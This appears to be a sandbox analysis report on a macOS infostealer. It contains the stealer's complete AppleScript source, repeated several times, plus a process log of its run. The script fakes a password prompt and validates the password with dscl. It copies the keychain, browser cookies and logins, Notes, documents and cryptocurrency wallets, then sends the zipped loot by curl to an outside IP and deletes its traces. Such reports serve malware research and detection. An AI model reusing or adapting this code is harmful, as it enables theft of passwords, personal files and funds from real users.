& CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'"1⤵PID:685
-
/bin/bashsh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'"1⤵PID:685
-
/usr/bin/osascriptosascript -e "on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)"1⤵PID:685
-
/bin/shsh -c "dscl . authonly 'run' 'root'"1⤵PID:686
-
/bin/bashsh -c "dscl . authonly 'run' 'root'"1⤵PID:686
-
/usr/bin/dscldscl . authonly run root1⤵PID:686
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:687
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:687
-
/bin/mkdirmkdir -p /var/tmp/xuyna1⤵PID:687
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:688
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:688
-
/bin/mkdirmkdir -p /var/tmp/xuyna1⤵PID:688
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:689
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:689
-
/bin/mkdirmkdir -p /var/tmp/xuyna1⤵PID:689
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"1⤵PID:690
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"1⤵PID:690
-
/bin/mkdirmkdir -p /var/tmp/xuyna/Chromium/Chrome_Default1⤵PID:690
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"1⤵PID:691
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"1⤵PID:691
-
/bin/mkdirmkdir -p /var/tmp/xuyna/Chromium/Chrome_Default1⤵PID:691
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"1⤵PID:692
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"1⤵PID:692
-
/bin/mkdirmkdir -p /var/tmp/xuyna/Chromium/Chrome_Default1⤵PID:692
-
/bin/shsh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"1⤵PID:693
-
/bin/bashsh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"1⤵PID:693
-
/usr/sbin/system_profilersystem_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType1⤵PID:693
-
/usr/bin/csrutil/usr/bin/csrutil status1⤵PID:695
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:698
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna'"1⤵PID:698
-
/bin/mkdirmkdir -p /var/tmp/xuyna1⤵PID:698
-
/bin/shsh -c "mkdir -p '/var/tmp/xuyna/FileGrabber/'"1⤵PID:699
-
/bin/bashsh -c "mkdir -p '/var/tmp/xuyna/FileGrabber/'"1⤵PID:699
-
/bin/mkdirmkdir -p /var/tmp/xuyna/FileGrabber/1⤵PID:699
-
/usr/libexec/xpcproxyxpcproxy com.apple.DesktopServicesHelper.BBFB7F96-41A7-46BF-9009-86995BA8BC021⤵PID:700
-
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper1⤵PID:700
-
/usr/libexec/xpcproxyxpcproxy com.apple.DesktopServicesHelper.C75893FC-51D1-4156-9CE9-D3A99FDBD0CC1⤵PID:701
-
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper1⤵PID:701
-
/usr/libexec/xpcproxyxpcproxy com.apple.DesktopServicesHelper.C424F753-D8C3-48F1-8BE8-15F679A7C51E1⤵PID:702
-
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper1⤵PID:702
-
/bin/shsh -c "ditto -c -k --sequesterRsrc /var/tmp/xuyna/ /var/tmp/out.zip"1⤵PID:703
-
/bin/bashsh -c "ditto -c -k --sequesterRsrc /var/tmp/xuyna/ /var/tmp/out.zip"1⤵PID:703
-
/usr/bin/dittoditto -c -k --sequesterRsrc /var/tmp/xuyna/ /var/tmp/out.zip1⤵PID:703
-
/bin/shsh -c "curl -X POST -H \"uuid: a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" -H \"user: october\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p"1⤵PID:704
-
/bin/bashsh -c "curl -X POST -H \"uuid: a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" -H \"user: october\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p"1⤵PID:704
-
/usr/bin/curlcurl -X POST -H "uuid: a4bc4563-e0b3-4ad4-a698-3f03cd415bef" -H "user: october" --data-binary "@/var/tmp/out.zip" http://185.172.128.123/p2p1⤵PID:704
-
/bin/shsh -c "rm -r /var/tmp/xuyna/"1⤵PID:705
-
/bin/bashsh -c "rm -r /var/tmp/xuyna/"1⤵PID:705
-
/bin/rmrm -r /var/tmp/xuyna/1⤵PID:705
-
/bin/shsh -c "rm /var/tmp/out.zip"1⤵PID:706
-
/bin/bashsh -c "rm /var/tmp/out.zip"1⤵PID:706
-
/bin/rmrm /var/tmp/out.zip1⤵PID:706
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /Library/Preferences/com.apple.networkextension.uuidcache.plist
- Size 355B
- SHA256 232441aa129d4f21999860b8bf31db4b8617df9f7d32ef5f25a383edff82d9fa
- MD5 a6ef4856e99c9d8e1d9bb762c5a8503a
- SHA1 25d5405ad91791b716ae5a56b37aa2b393854967
- SHA512 582fa1ea60766a5a4e99b295a8ed98c94f6bab45e42b7e8db61e9ad645f531891082cd457bfd11d660195af86f02c4ed93589e6e6daded683cff2d8319bbc489
- MD5 SHA1 SHA512
- Path /Library/Preferences/com.apple.networkextension.uuidcache.plist
- Size 355B
- SHA256 23d6746cb1c1906c9cfb5c69f7377f7cb68965ac0708ed1d600bfd3d3c34ce32
